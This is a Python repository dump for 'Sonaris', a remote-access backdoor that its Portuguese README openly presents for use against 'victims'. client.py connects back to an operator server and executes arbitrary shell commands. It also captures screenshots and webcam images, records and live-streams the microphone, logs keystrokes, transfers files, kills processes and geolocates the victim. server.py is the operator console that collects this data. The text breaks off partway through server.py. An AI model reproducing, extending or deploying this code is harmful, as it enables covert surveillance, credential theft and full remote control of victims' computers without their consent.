├── .gitignore ├── requirements.txt ├── parserArguments.py ├── main.py ├── README.md ├── client.py └── server.py /.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__ 2 | .vscode 3 | screenshots 4 | files -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | numpy==1.20.3 2 | sounddevice==0.4.1 3 | SoundFile==0.10.3.post1 4 | pynput==1.7.3 5 | opencv-python==4.5.1.48 6 | psutil==5.8.0 7 | rich==10.1.0 8 | pyscreenshot==3.0 -------------------------------------------------------------------------------- /parserArguments.py: -------------------------------------------------------------------------------- 1 | from argparse import ArgumentParser 2 | 3 | def createSetupParser(): 4 | parser = ArgumentParser(description='Simple multiclient Backdoor!') 5 | 6 | parser.add_argument('-a', '--address', dest='address', 7 | help='Endereço do servidor.', default='127.0.0.1') 8 | parser.add_argument('-p', '--port', dest='port', default=5000, 9 | help='Porta do servidor.') 10 | 11 | return parser, parser.parse_args() -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # coding: utf-8 3 | 4 | __author__ = '@zNairy' 5 | __contact__ = 'Discord: zNairy#7181 | Github: https://github.com/zNairy/' 6 | __version__ = '2.0' 7 | 8 | from parserArguments import createSetupParser 9 | from server import Server 10 | 11 | def main(): 12 | parser, args = createSetupParser() 13 | 14 | servidorBackdoor = Server(args.address, int(args.port)) # Ex: server = Server('0.tcp.ngrok.io', 4321)# 15 | servidorBackdoor.run() # iniciando escuta e sessões # 16 | 17 | 18 | if __name__ == '__main__': 19 | main() -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![badges](https://img.shields.io/badge/Python-v3.8-red) 2 |

"Get ready to hack the planet!"

3 | 4 | ## Instalação 5 | Baixe ou clone o repositório usando: 6 | ```bash 7 | git clone https://github.com/zNairy/Sonaris 8 | ``` 9 | Em seguida instale os recursos necessários descritos em requirements, utilizando o pip de acordo com sua versão do Python. 10 | ```bash 11 | python -m pip install -r requirements.txt 12 | ``` 13 | ## Como usar 14 | Inicie o lado servidor com python main.py para suportar cada vítima que se conectar à ele. Por padrão, tanto o servidor quanto cada cliente é conectado no endereço 0.0.0.0:5000 se nenhum argumento for passado em sua instância. 15 | ```python 16 | class Server(object): 17 | """ server side backdoor """ 18 | def __init__(self, host='0.0.0.0', port=5000): 19 | ``` 20 | Uma porta ou endereço diferente também podem ser passados por meio de argumentos, somente no lado servidor 21 | ```bash 22 | python main.py -a 127.0.0.1 -p 1234 23 | ``` 24 | O lado cliente deve ser iniciado formalmente e seu endereço e porta são passados diretamente na instância do objeto. 25 | ## Funcionalidades 26 | Assim como qualquer outro backdoor, o Sonaris conta com funcionalidades básicas de navegação, gerência das sessões e funcionamento interno do programa. Ao rodar o comando principal /commands lhe será mostrado a lista de todos os comandos possíveis. 27 | ```txt 28 | /attach 29 | /detach 30 | /sessions 31 | /sessioninfo 32 | /userinfo 33 | /rmsession 34 | /screenshot 35 | /webcamshot 36 | /download 37 | /upload 38 | /processlist 39 | /processinfo 40 | /terminateprocess 41 | /micrecord 42 | /micstream 43 | /kloggerstart 44 | /kloggerdump 45 | /kloggerstop 46 | /author 47 | /contact 48 | /version 49 | /internalcommands 50 | /commands 51 | ``` 52 | Os comandos de gerência interna podem ser visualizados rodando o comando /internalcommands. 53 | ``` 54 | /attach 55 | /detach 56 | /sessions 57 | /sessioninfo 58 | /userinfo 59 | /rmsession 60 | /author 61 | /contact 62 | /version 63 | /internalcommands 64 | /commands 65 | ``` 66 | Alguns comandos são executados somente quando há alguma sessão anexada, caso contrário lhe será exibido algum descritivo do comando. 67 | ```bash 68 | znairy@sonaris:# /contact 69 | Discord: zNairy#7181 | Github: https://github.com/zNairy/ 70 | znairy@sonaris:# /micstream 71 | Info: Starts a microphone streaming. 72 | ``` 73 | O backdoor é multi-client, o que significa que você pode ter mais de uma conexão simultânea. 74 | Após receber alguma conexão, verifique se está ativa com o comando /sessions. 75 | ```bash 76 | [*] Incoming connection from znairy:Linux 77 | znairy@sonaris#:# /sessions 78 | -znairy 79 | ``` 80 | Se anexe à sessão da vítima desejada e seja feliz _;)_ 81 | ```bash 82 | znairy@sonaris:# /attach znairy 83 | You are attached to a section with znairy now! 84 | znairy@sonaris:/home/znairy/Documents/Github/Sonaris# 85 | ``` 86 | ## Observações 87 | O projeto ainda não está totalmente concluído, por isso se deseja fazer alguma contribuição ou crítica construtiva, faça um pull request ou entre em contato comigo pelo Discord. 88 | -------------------------------------------------------------------------------- /client.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = '@zNairy' 4 | __contact__ = 'Discord: zNairy#7181 | Github: https://github.com/zNairy/' 5 | __version__ = '2.0' 6 | 7 | from socket import socket, AF_INET, SOCK_STREAM 8 | from getpass import getuser 9 | from datetime import datetime 10 | from pyscreenshot import grab 11 | from cv2 import VideoCapture, imencode 12 | from psutil import process_iter, AccessDenied 13 | from pynput.keyboard import Listener, KeyCode 14 | from pathlib import Path 15 | from json import loads as jloads 16 | from pickle import loads, dumps 17 | from sounddevice import RawInputStream, rec, wait 18 | from numpy import save 19 | from io import BytesIO 20 | from subprocess import getoutput 21 | from requests import get 22 | from os import uname, chdir, getcwd 23 | from tempfile import NamedTemporaryFile, gettempdir 24 | from time import sleep, time 25 | from urllib3.exceptions import InsecureRequestWarning 26 | from urllib3 import disable_warnings 27 | 28 | disable_warnings(InsecureRequestWarning) 29 | 30 | 31 | class Client(object): 32 | """ client side backdoor """ 33 | def __init__(self, host='0.0.0.0', port=5000): 34 | self.__Address = (host, port) 35 | self.kloggerIsRunning, self.currentCapturedKeys = False, '' 36 | self.kloggerFiles = [] 37 | 38 | def __repr__(self): 39 | print(f'Server(host="{self.__Address[0]}", port={self.__Address[1]})') 40 | 41 | # removing the screenshot file 42 | def removeScreenshot(self): 43 | Path(f'{gettempdir()}/736f6e61726973.png').unlink(missing_ok=True) 44 | 45 | # kills some processes by name or pid 46 | def terminateProcess(self, processIdentifier): 47 | if not processIdentifier.isdigit(): 48 | processes = [proc for proc in process_iter() if proc.name().lower() == processIdentifier.lower()] 49 | else: 50 | processes = [proc for proc in process_iter() if proc.pid == int(processIdentifier)] 51 | 52 | if processes: 53 | try: 54 | for process in processes: 55 | process.terminate() 56 | 57 | self.sendHeader({"content": f"[green]Process [yellow]{processIdentifier} [green]has been terminated!"}) 58 | except AccessDenied: 59 | self.sendHeader({"content": f"[red]Error: Can't terminate process [yellow]{processIdentifier}, [red]Access denied"}) 60 | else: 61 | self.sendHeader({"content": f"[red]No processes running with identifier [yellow]{processIdentifier}."}) 62 | 63 | # getting info of only one process 64 | def getProcessInfo(self, processname): 65 | attrs = ['pid', 'username', 'name', 'exe', 'cwd', 'cpu_percent', 'memory_percent'] 66 | processInfo = [proc.info for proc in process_iter(attrs=attrs) if proc.name().lower() == processname.lower()] 67 | if processInfo: 68 | self.sendHeader({"sucess": True, "total": len(processInfo), "bytes": len(dumps(processInfo))}) 69 | sleep(0.5) 70 | self.__Client.send(dumps(processInfo)) 71 | else: 72 | self.sendHeader({"sucess": False, "content": f"[red]No process with name [yellow]{processname}."}) 73 | 74 | # getting info of all processes running in the moment 75 | def getProcessList(self, args): 76 | processesInfo = [proc.info for proc in process_iter(['pid', 'username', 'name', 'exe', 'cwd'])] 77 | 78 | self.sendHeader({"total": len(processesInfo), "bytes": len(dumps(processesInfo))}) 79 | sleep(0.5) 80 | self.__Client.send(dumps(processesInfo)) 81 | 82 | # removing temp log files 83 | def removeKloogerFiles(self): 84 | for klog in self.kloggerFiles: 85 | Path(klog).unlink(missing_ok=True) 86 | 87 | self.kloggerFiles.clear() 88 | 89 | def saveCapturedKeys(self): 90 | with NamedTemporaryFile(suffix='.dat', delete=False) as tempfile: 91 | tempfile.write(f'[{datetime.now().strftime("%H:%M")}]: {self.currentCapturedKeys}'.encode()) 92 | self.kloggerFiles.append(tempfile.name) 93 | 94 | self.currentCapturedKeys = '' 95 | 96 | # excluding command/special keys 97 | def checkValidKeys(self, key): 98 | if isinstance(key, KeyCode): 99 | self.currentCapturedKeys += key.char 100 | elif key.name == 'space': 101 | self.currentCapturedKeys += ' ' 102 | 103 | if len(self.currentCapturedKeys) >= 1000000: # ≃1mb 104 | self.saveCapturedKeys() 105 | 106 | # starting the keyboard logger 107 | def keyloggerStart(self, args): 108 | if not self.kloggerIsRunning: 109 | self.keyboardListener = Listener(on_press=self.checkValidKeys) 110 | self.keyboardListener.start() 111 | self.kloggerIsRunning = True 112 | self.sendHeader({"content": f"[green]The listening started at [yellow]{datetime.now().strftime('%H:%M')}!\n"}) 113 | else: 114 | self.sendHeader({"content": f"[yellow]The klogger is already running!"}) 115 | 116 | # sending the captured keys to server side 117 | def keyloggerDump(self, args): 118 | if self.kloggerIsRunning: 119 | if self.kloggerFiles: 120 | currentKeys, self.currentCapturedKeys = f"[{datetime.now().strftime('%H:%M')}]: {self.currentCapturedKeys}", "" # saving current content of captured keys and erasing them 121 | klogs = ''.join(open(partFile).read() + '\n' for partFile in self.kloggerFiles) 122 | self.removeKloogerFiles() 123 | capturedKeys = (klogs+currentKeys).encode() 124 | elif self.currentCapturedKeys: 125 | capturedKeys, self.currentCapturedKeys = f"[{datetime.now().strftime('%H:%M')}]: {self.currentCapturedKeys}".encode(), "" # saving current content of captured keys and erasing them 126 | else: 127 | self.sendHeader({"sucess": False, "content": "[red] There's no captured keys yet."}) 128 | return 129 | 130 | header = { 131 | "namefile": f"klogger_dump-{datetime.now().strftime('%d.%m.%y-%H.%M.%S')}", 132 | "extension": '.dat', 133 | "bytes": len(capturedKeys), 134 | "path": "files", 135 | "sucess": True 136 | } 137 | 138 | self.sendHeader(header) 139 | sleep(0.5) 140 | self.__Client.send(capturedKeys) 141 | else: 142 | self.sendHeader({"sucess": False, "content": "[red] Error: The klogger is not running!"}) 143 | 144 | # stopping the keyboard logger 145 | def keyloggerStop(self, args): 146 | if self.kloggerIsRunning: 147 | self.keyboardListener.stop() 148 | self.kloggerIsRunning = False 149 | self.sendHeader({"content": f"[green]Klogger has ended at [yellow]{datetime.now().strftime('%H:%M')}!"}) 150 | else: 151 | self.sendHeader({"content": "[red] Error: The Klogger is not running."}) 152 | 153 | # stopping microphone streaming and sending signal to server side 154 | def stopMicStream(self, args): 155 | self.microphoneStream.stop() 156 | self.__Client.send(b'/micstreamstop') 157 | 158 | # sending data frame from the microphone streaming 159 | def sendMicStreamFrames(self, *args): 160 | self.__Client.send(args[0]) 161 | 162 | # starting microphone streaming 163 | def micStream(self, args): 164 | self.microphoneStream = RawInputStream(channels=2, blocksize=4096, callback=self.sendMicStreamFrames) 165 | self.microphoneStream.start() 166 | 167 | # recording microphone audio 168 | def micRecord(self, args): 169 | if args: 170 | if args[0].isdigit(): 171 | recorded = rec(channels=2, frames=(44100*int(args[0])), samplerate=44100);wait() 172 | audio = BytesIO() 173 | save(audio, recorded, allow_pickle=True) 174 | else: 175 | self.sendHeader({'sucess': False, 'content': '[red] Please pass seconds as [yellow]integer.'}) 176 | return 177 | else: 178 | recorded = rec(channels=2, frames=(44100*5), samplerate=44100);wait() 179 | audio = BytesIO() 180 | save(audio, recorded, allow_pickle=True) 181 | 182 | self.sendHeader({ 183 | "namefile": f"micRecord-{datetime.now().strftime('%d.%m.%y-%H.%M.%S')}", 184 | "extension": '.wav', 185 | "bytes": len(audio.getvalue()), 186 | "path": "files", 187 | "sucess": True 188 | }) 189 | 190 | sleep(0.5) 191 | self.__Client.send(audio.getvalue()) 192 | 193 | # receiving a file from server side (upload) 194 | def upload(self, args): 195 | header = loads(self.__Client.recv(512)) 196 | try: 197 | self.receiveFile(header) 198 | self.sendHeader({"content": f"[green]File {Path(args).stem} uploaded successfully!", "sucess": True}) 199 | except PermissionError: 200 | self.sendHeader({"content": f"[red]Permission denied: {args}", "sucess": False}) 201 | 202 | # checking if exist any available webcam to use 203 | def checkAvailableWebcams(self): 204 | # trying to detect any available webcam and return ids if exists 205 | availableWebcams = [f'{id+1} ' for id in range(10) if VideoCapture(id).isOpened()] 206 | 207 | if availableWebcams: 208 | return { 209 | "sucess": True, 210 | "content": f"[green]There's [yellow]{len(availableWebcams)}[green] webcams available | IDs: [white]{''.join(webcamId for webcamId in availableWebcams)}" 211 | } 212 | 213 | return {"sucess": False, "content": "[red]There's no webcam available"} 214 | 215 | # taking a webcam shot from id 216 | def webcamshot(self, args): 217 | if args: 218 | try: 219 | # trying to taking a webcam shot and converting the frame in to bytes string 220 | wcamshot = imencode('.png', VideoCapture(int(args)-1).read()[1])[1].tobytes() if VideoCapture(int(args)-1).isOpened() else False 221 | 222 | if wcamshot and int(args) > 0: # if there is any frame by the given id 223 | header = { 224 | "namefile": datetime.now().strftime('%d.%m.%y-%H.%M.%S'), 225 | "extension": '.png', 226 | "bytes": len(wcamshot), 227 | "path": "screenshots", 228 | "sucess": True 229 | } 230 | 231 | self.sendHeader(header) 232 | sleep(0.5) 233 | self.__Client.send(wcamshot) 234 | else: 235 | self.sendHeader({"content": f"[red]There's no webcam with ID [yellow]{args}", "sucess": False}) 236 | except ValueError: 237 | self.sendHeader({"content": f"[red] Invalid Id [yellow]{args}[red], must be a number", "sucess": False}) 238 | else: 239 | availableWebcams = self.checkAvailableWebcams() 240 | self.sendHeader(availableWebcams) 241 | 242 | # taking a screenshot 243 | def screenshot(self, args): 244 | grab().save(f'{gettempdir()}/736f6e61726973.png') # taking and saving the screenshot 245 | namefile, extension, file = self.splitFile(f'{gettempdir()}/736f6e61726973.png') 246 | self.removeScreenshot() 247 | 248 | header = { 249 | "namefile": datetime.now().strftime('%d.%m.%y-%H.%M.%S'), 250 | "extension": extension, 251 | "bytes": len(file), 252 | "path": "screenshots" 253 | } 254 | 255 | self.sendHeader(header) 256 | sleep(1) 257 | self.__Client.send(file) 258 | 259 | # sending a local file to server side (download) 260 | def download(self, args): 261 | try: 262 | if Path(args).is_file(): # if file exists 263 | namefile, extension, file = self.splitFile(args) 264 | header = { 265 | "namefile": namefile, 266 | "extension": extension, 267 | "bytes": len(file), 268 | "path": "files", 269 | "sucess": True 270 | } 271 | 272 | self.sendHeader(header) 273 | sleep(1) 274 | self.__Client.send(file) 275 | else: 276 | self.sendHeader({"content": f"[red]File {Path(args).stem} not found", "sucess": False}) 277 | except PermissionError: 278 | self.sendHeader({"content": f"[red]Permission denied: {args}", "sucess": False}) 279 | 280 | # saving a received file from server side 281 | def saveReceivedFile(self, path, content): 282 | with open(path, 'wb') as receivedFile: 283 | receivedFile.write(content) 284 | 285 | # receiving a file from server side (upload) 286 | def receiveFile(self, header): 287 | file = b'' 288 | 289 | while len(file) < header['bytes']: 290 | file += self.__Client.recv(header['bytes']) 291 | 292 | self.saveReceivedFile(f'{header["namefile"]}{header["extension"]}', file) 293 | 294 | # returns name of file, extension and your bytes content 295 | def splitFile(self, path): 296 | with open(path, 'rb') as file: 297 | return Path(path).stem, Path(path).suffix, file.read() 298 | 299 | # send header to server side (about messages, files...) 300 | def sendHeader(self, header): 301 | self.__Client.send(dumps(header)) 302 | 303 | # changing to the directory, informed from the server side 304 | def changeDirectory(self, directory): 305 | try: 306 | chdir(directory) 307 | self.sendCommand(self.lastCommand, '.') 308 | except PermissionError: 309 | self.sendCommand(self.lastCommand) 310 | except FileNotFoundError: 311 | self.sendCommand(self.lastCommand) 312 | 313 | # returns all 'internal' commands 314 | def allCommands(self): 315 | return { 316 | "/screenshot": {"action": self.screenshot}, 317 | "/download": {"action": self.download}, 318 | "/upload": {"action": self.upload}, 319 | "/webcamshot": {"action": self.webcamshot}, 320 | "/processlist": {"action": self.getProcessList}, 321 | "/processinfo": {"action": self.getProcessInfo}, 322 | "/terminateprocess": {"action": self.terminateProcess}, 323 | "/micrecord": {"action": self.micRecord}, 324 | "/micstream": {"action": self.micStream}, 325 | "/micstreamstop": {"action": self.stopMicStream}, 326 | "/kloggerstart": {"action": self.keyloggerStart}, 327 | "/kloggerdump": {"action": self.keyloggerDump}, 328 | "/kloggerstop": {"action": self.keyloggerStop}, 329 | "cd": {"action": self.changeDirectory} 330 | } 331 | 332 | # returns function of the command (your action) and your respective arguments, if exists, if not returns False (is a shell command). 333 | def splitCommand(self, command): 334 | if self.allCommands().get(command.split()[0]): 335 | return self.allCommands()[command.split()[0]]['action'], ''.join(f'{cmd} ' for cmd in command.split()[1:]) # 1: function, 2: args # 336 | 337 | return False, '' 338 | 339 | # returns output of the command informed 340 | def outputCommand(self, command): 341 | return getoutput(command).encode() 342 | 343 | # sending the command output that was executed in shell 344 | def sendCommand(self, command, customOutput=''): 345 | if not customOutput: 346 | output = self.outputCommand(command) 347 | else: 348 | output = customOutput.encode() 349 | 350 | header = { 351 | "initialTime": time(), 352 | "bytes": len(output), 353 | "currentDirectory": getcwd() 354 | } 355 | 356 | self.sendHeader(header) 357 | sleep(0.5) # small delay to send the data 358 | self.__Client.send(output) 359 | 360 | # checking and executing command informed by server side 361 | def runCommand(self, cmd): 362 | command, args = self.splitCommand(cmd) 363 | 364 | if command: 365 | command(args.strip()) 366 | else: 367 | self.sendCommand(cmd) # send the output of shell command 368 | 369 | # receiving server side commands 370 | def listenServer(self): 371 | while True: 372 | command = self.__Client.recv(512) 373 | if command: 374 | self.lastCommand = command 375 | self.runCommand(command.decode('utf-8')) 376 | else: 377 | self.run() 378 | 379 | # returns some basic data about client 380 | def identifier(self): 381 | identifier = {"name": getuser(), "SO": uname().sysname, "arch": uname().machine, "currentDirectory": getcwd()} 382 | 383 | try: 384 | info = jloads(get('http://ip-api.com/json/').content) # locality 385 | identifier.update({"externalAddress": info['query'], "city": info['city'], "country": info['country'], "region": info['region']}) 386 | except Exception: 387 | pass 388 | 389 | return dumps(identifier) 390 | 391 | # trying to connect to the server 392 | def connect(self): 393 | try: 394 | self.__Client.connect((self.__Address)) 395 | self.__Client.send(self.identifier()) 396 | except ConnectionRefusedError: 397 | sleep(5);self.connect() 398 | 399 | # configuring the socket object 400 | def configureSocket(self): 401 | self.__Client = socket(AF_INET, SOCK_STREAM) 402 | 403 | # starting the program 404 | def run(self): 405 | self.configureSocket() 406 | self.connect() 407 | 408 | self.listenServer() 409 | 410 | 411 | def main(): 412 | client = Client('127.0.0.1', 5000) 413 | client.run() 414 | 415 | if __name__ == '__main__': 416 | main() 417 | -------------------------------------------------------------------------------- /server.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = '@zNairy' 4 | __contact__ = 'Discord: zNairy#7181 | Github: https://github.com/zNairy/' 5 | __version__ = '2.0' 6 | 7 | #teste 8 | from socket import socket, AF_INET, SOCK_STREAM, SOL_SOCKET, SO_REUSEADDR, gaierror 9 | from threading import Thread 10 | from getpass import getuser 11 | from pickle import loads, dumps 12 | from pathlib import Path 13 | from time import sleep, time 14 | from sounddevice import RawOutputStream 15 | from soundfile import write as soundwrite 16 | from pynput.keyboard import Listener, KeyCode 17 | from numpy import load as npload 18 | from io import BytesIO 19 | from rich.progress import BarColumn, Progress, TimeRemainingColumn 20 | from rich import print as printr 21 | from rich.console import Console 22 | from rich.table import Table 23 | from rich.box import SIMPLE 24 | from os import system, uname 25 | 26 | 27 | class Server(object): 28 | """ server side backdoor """ 29 | def __init__(self, host='0.0.0.0', port=5000): 30 | self.__Address = (host, port) 31 | self.connectedUsers = {} 32 | self.userAttached = self.userCwd = '' 33 | self.especialCommands = {'clear': self.clearScreen, 'cls': self.clearScreen, 'exit': self.closeTerminal} 34 | self.allCommands = self.setAllCommands() 35 | 36 | def __repr__(self): 37 | print(f'Server(host="{self.__Address[0]}", port={self.__Address[1]})') 38 | 39 | # kills some processes by name or pid 40 | def terminateProcess(self, processname): 41 | if processname and self.userAttached: 42 | self.sendLastCommand() 43 | try: 44 | header = self.receiveHeader() 45 | printr(header['content']) 46 | except EOFError: 47 | printr(f'[red] Connection with [yellow]{self.userAttached}[red] was lost.') 48 | self.removecurrentSession() # removing the current session because connection probaly was lost 49 | else: 50 | printr('Info: Kills some process running by name or PID. | Ex: [green]/terminateprocess windowsexplorer.exe [yellow]or[green] /terminateprocess 3123') 51 | 52 | # getting info of only one process 53 | def getProcessInfo(self, processname): 54 | if processname and self.userAttached: 55 | self.sendLastCommand() 56 | try: 57 | header = self.receiveHeader() 58 | if header['sucess']: 59 | processInfo = self.receiveProcessList(header) 60 | table = Table(show_footer=False, title=f'List of all {processname.title()} processes running', box=SIMPLE) # creating table to show data from received processes 61 | for column in ['PID', 'User', 'Process Name', 'Executable', 'Cwd', 'Cpu', 'Mem']: # adding the columns 62 | table.add_column(column, justify='center') 63 | 64 | for process in processInfo: # adding the rows 65 | table.add_row(str(process['pid']), process['username'], process['name'], process['exe'], process['cwd'], f"{process['cpu_percent']}%", f"{process['memory_percent']:.2f}%") 66 | 67 | console = Console() # creating the Console object 68 | console.print(table, f':white_check_mark: {processname.title()} {header["total"]} processes running', justify="center") # printing the table 69 | else: 70 | printr(header['content']) 71 | except EOFError: 72 | printr(f'[red] Connection with [yellow]{self.userAttached}[red] was lost.') 73 | self.removecurrentSession() # removing the current session because connection probaly was lost 74 | else: 75 | printr('Info: Shows basic information of only one process running on the client side. | Ex: [green]/processinfo windowsexplorer.exe [yellow]or[green] /processinfo 3123') 76 | 77 | # getting all processes running in client side 78 | def getProcessList(self, args): 79 | if self.userAttached: 80 | self.sendLastCommand() 81 | try: 82 | header = self.receiveHeader() 83 | processInfo = self.receiveProcessList(header) 84 | table = Table(show_footer=False, title=f"List of all processes running.", box=SIMPLE) # creating table to show data from received processes 85 | for column in ['PID', 'User', 'Process Name', 'Executable', 'Cwd']: # adding the columns 86 | table.add_column(column, justify="center") 87 | 88 | for process in processInfo: # adding the rows 89 | table.add_row(str(process['pid']), process['username'], process['name'], process['exe'], process['cwd']) 90 | 91 | console = Console() # creating the Cosole object 92 | console.print(table, f"{header['total']} processes running", justify="center") # printing the table 93 | except EOFError: 94 | printr(f'[red] Connection with [yellow]{self.userAttached}[red] was lost.') 95 | self.removecurrentSession() # removing the current session because connection probaly was lost 96 | else: 97 | printr(f'Info: Shows basic information of all process running on the client side') 98 | 99 | def receiveProcessList(self, header): 100 | progress = Progress("[progress.description][green]{task.description}", BarColumn(), "[progress.percentage]{task.percentage:>3.0f}%", TimeRemainingColumn()) 101 | 102 | with progress: 103 | task = progress.add_task(f"Receiving process list", total=header['bytes']) 104 | 105 | processList = received = b'' 106 | 107 | while len(processList) < header['bytes']: 108 | received = self.getCurrentUser()['conn'].recv(header['bytes']) 109 | processList += received 110 | progress.update(task, advance=len(received)) 111 | 112 | return loads(processList) 113 | 114 | # starting the keyboard logger 115 | def kloggerStart(self, args): 116 | if self.userAttached: 117 | self.sendLastCommand() 118 | try: 119 | header = self.receiveHeader() 120 | printr(header['content']) 121 | except EOFError: 122 | printr(f'[red] Connection with [yellow]{self.userAttached}[red] was lost.') 123 | self.removecurrentSession() # removing the current session because connection probaly was lost 124 | else: 125 | printr(f'Info: Starts a keyboard listener on the client side.') 126 | 127 | # saving the captured keys 128 | def kloggerDump(self, args): 129 | if self.userAttached: 130 | self.sendLastCommand() 131 | try: 132 | header = self.receiveHeader() 133 | if header['sucess']: 134 | data = self.receiveFile(header) 135 | self.saveReceivedFile(data, f'./{header["path"]}/{header["namefile"]}{header["extension"]}') 136 | printr(f'[green] See in [yellow]/files/{header["namefile"]}{header["extension"]}') 137 | else: 138 | printr(header['content']) 139 | except EOFError: 140 | printr(f'[red] Connection with [yellow]{self.userAttached}[red] was lost.') 141 | self.removecurrentSession() # removing the current session because connection probaly was lost 142 | else: 143 | printr(f'Info: Saves the keys captured so far.') 144 | 145 | # stopping the keyboard logger 146 | def kloggerStop(self, args): 147 | if self.userAttached: 148 | self.sendLastCommand() 149 | try: 150 | header = self.receiveHeader() 151 | printr(header['content']) 152 | except EOFError: 153 | printr(f'[red] Connection with [yellow]{self.userAttached}[red] was lost.') 154 | self.removecurrentSession() # removing the current session because connection probaly was lost 155 | else: 156 | printr(f'Info: Stop the keyboard listener and save the captured keys.') 157 | 158 | # checking if was pressed Q key to stop microphone audio streaming 159 | def checkStopMicStreamKey(self, key): 160 | if isinstance(key, KeyCode): 161 | if key.char == 'q': 162 | self.getCurrentUser()['conn'].send(b'/micstreamstop') 163 | self.keyboardListener.stop() 164 | 165 | # receiving and play sound frames from the microphone streaming 166 | def receiveMicStreamFrames(self): 167 | self.keyboardListener = Listener(on_press=self.checkStopMicStreamKey) 168 | self.keyboardListener.start() # for when you wish to stop microphone stream 169 | 170 | microphoneStream = RawOutputStream(channels=2, samplerate=44100) 171 | microphoneStream.start() 172 | 173 | while True: 174 | frame = self.getCurrentUser()['conn'].recv(32768) 175 | if frame != b'/micstreamstop': 176 | try: 177 | microphoneStream.write(frame) 178 | except Exception: 179 | microphoneStream.stop() 180 | break 181 | else: 182 | microphoneStream.stop() 183 | break 184 | 185 | # starting microphone streaming 186 | def micStream(self, args): 187 | if self.userAttached: 188 | self.sendLastCommand() 189 | try: 190 | printr('[yellow] If you want to stop stream press [red]"q"') 191 | self.receiveMicStreamFrames() 192 | except EOFError: 193 | printr(f'[red] Connection with [yellow]{self.userAttached}[red] was lost.') 194 | self.removecurrentSession() # removing the current session because connection probaly was lost 195 | else: 196 | printr(f'Info: Starts a microphone streaming.') 197 | 198 | # recording microphone audio 199 | def micRecord(self, args): 200 | if self.userAttached: 201 | self.sendLastCommand() 202 | try: 203 | header = self.receiveHeader() 204 | if header['sucess']: 205 | data = self.receiveFile(header) 206 | self.checkFolders() 207 | soundwrite(f'./files/{header["namefile"]}{header["extension"]}', npload(BytesIO(data), allow_pickle=True), 44100) 208 | printr(f'[green] See in [yellow]/files/{header["namefile"]}{header["extension"]}') 209 | else: 210 | printr(header['content']) 211 | except EOFError: 212 | printr(f'[red] Connection with [yellow]{self.userAttached}[red] was lost.') 213 | self.removecurrentSession() # removing the current session because connection probaly was lost 214 | else: 215 | printr(f'Info: Starts to recording microphone audio during x (integer) seconds | Ex: /micrecord 5') 216 | 217 | # getting the current user who you are attached 218 | def getCurrentUser(self): 219 | return self.connectedUsers[self.userAttached] 220 | 221 | # basic information of session you are 222 | def sessionInfo(self, args): 223 | if self.userAttached: 224 | userInfo = self.getCurrentUser() 225 | hour, minute, second = self.calculateElapsedTime(time()-userInfo["initialTime"]) # elapsed session time 226 | data = [ 227 | f'Name Session: [green]{self.userAttached}', 228 | f'[white]Current Directory: [green]"{userInfo["currentDirectory"]}"', 229 | f'[white]Elapsed session Time: [green]{hour}:{minute}:{int(second)} [white]seconds' 230 | ] 231 | 232 | for info in data: 233 | printr(info) 234 | else: 235 | printr(f'Info: Shows basic information of the session you are linked') 236 | 237 | # basic information from attached user 238 | def userInfo(self, args): 239 | if self.userAttached: 240 | user = self.getCurrentUser() 241 | for key, value in user.items(): 242 | if key not in ['conn', 'currentDirectory', 'initialTime']: 243 | printr(f'[white]{key}: [green]{value}') 244 | else: 245 | printr(f'Info: Shows basic information of the user you are linked') 246 | 247 | # attaches to an active session 248 | def attach(self, name): 249 | if name: 250 | if self.connectedUsers.get(name): 251 | self.userAttached = name 252 | self.userCwd = self.getCurrentUser()['currentDirectory'] 253 | printr(f'[green] You are attached to a section with [yellow]{name}[green] now!') 254 | else: 255 | printr(f'[red] There is no open session with [yellow]{name}.') 256 | else: 257 | printr('Info: Attaches to an active session. [green]Ex: /attach zNairy-PC') 258 | 259 | # detach a active session 260 | def detach(self, name=''): 261 | if self.userAttached: 262 | self.userAttached = self.userCwd = '' 263 | else: 264 | printr(f'Info: Detach from the current session (when you are in one)') 265 | 266 | # checking if folders for screenshot or downloaded files exists 267 | def checkFolders(self): 268 | for folder in ['./screenshots','./files']: 269 | if not Path(folder).is_dir(): 270 | Path(folder).mkdir() 271 | 272 | # send header to client side (about messages, files...) 273 | def sendHeader(self, header): 274 | self.getCurrentUser()['conn'].send(dumps(header)) 275 | 276 | def receiveHeader(self): 277 | return loads(self.getCurrentUser()['conn'].recv(512)) 278 | 279 | # return name of file, your extension and bytes content 280 | def splitFile(self, path): 281 | with open(path, 'rb') as file: 282 | return Path(path).stem, Path(path).suffix, file.read() 283 | 284 | # saving any received file from client side 285 | def saveReceivedFile(self, content, path): 286 | with open(path, 'wb') as receivedFile: 287 | receivedFile.write(content) 288 | 289 | # receiving bytes content of any file from client side | params: connection= current user attached, header= received header of file 290 | def receiveFile(self, header): 291 | self.checkFolders() 292 | progress = Progress("[progress.description][green]{task.description}", BarColumn(), "[progress.percentage]{task.percentage:>3.0f}%", TimeRemainingColumn()) 293 | 294 | with progress: 295 | task = progress.add_task(f"Downloading {header['namefile']}", total=header['bytes']) 296 | 297 | file = received = b'' 298 | 299 | while len(file) < header['bytes']: 300 | received = self.getCurrentUser()['conn'].recv(header['bytes']) 301 | file += received 302 | progress.update(task, advance=len(received)) 303 | 304 | return file 305 | 306 | # uploading a local file (server side) to client side 307 | def upload(self, args): 308 | if args and self.userAttached: 309 | try: 310 | if Path(args).is_file(): 311 | self.sendLastCommand() 312 | 313 | namefile, extension, file = self.splitFile(args) 314 | self.sendHeader({"namefile": namefile, "extension": extension, "bytes": len(file)}) 315 | sleep(0.5) 316 | self.getCurrentUser()['conn'].send(file) 317 | 318 | response = self.receiveHeader() 319 | printr(response['content']) 320 | else: 321 | printr(f'[red] File {args} not found.') 322 | except PermissionError: 323 | printr(f'[red] Permission denied: {args}') 324 | else: 325 | printr('Info: Upload a file to client. [green]Ex: /upload nothing.pdf') 326 | 327 | # downloading a file from client side 328 | def download(self, args): 329 | if args and self.userAttached: 330 | self.sendLastCommand() 331 | try: 332 | header = self.receiveHeader() 333 | if header["sucess"]: 334 | data = self.receiveFile(header) 335 | self.saveReceivedFile(data, 